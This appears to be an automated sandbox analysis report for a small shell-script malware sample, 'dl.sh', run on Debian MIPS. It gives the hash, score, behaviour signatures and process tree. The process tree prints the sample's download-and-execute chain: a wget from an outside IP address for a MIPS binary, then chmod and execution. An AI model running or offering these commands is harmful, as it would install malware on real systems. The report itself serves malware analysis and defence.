Analysis
- max time kernel
1s - max time network
3s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
- submitted
29/09/2026, 12:19
General
- Target dl.sh
- Size 622B
- Sample260929-phebjazbnb
- SHA256 e63cf3ce1a71ea69d596056cb212337c38ee4740b22f73b5bd64ffd47cbc0d7a
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/dl.sh/tmp/dl.sh1⤵
- Executes dropped EXE
-
/bin/unameuname -m2⤵
-
-
/bin/rmrm -f w2⤵
-
-
/usr/bin/wgetwget -qO w http://23.95.228.20/wife.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod +x w2⤵
- File and Directory Permissions Modification
-
-
/tmp/w./w2⤵
- Reads runtime system information
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
w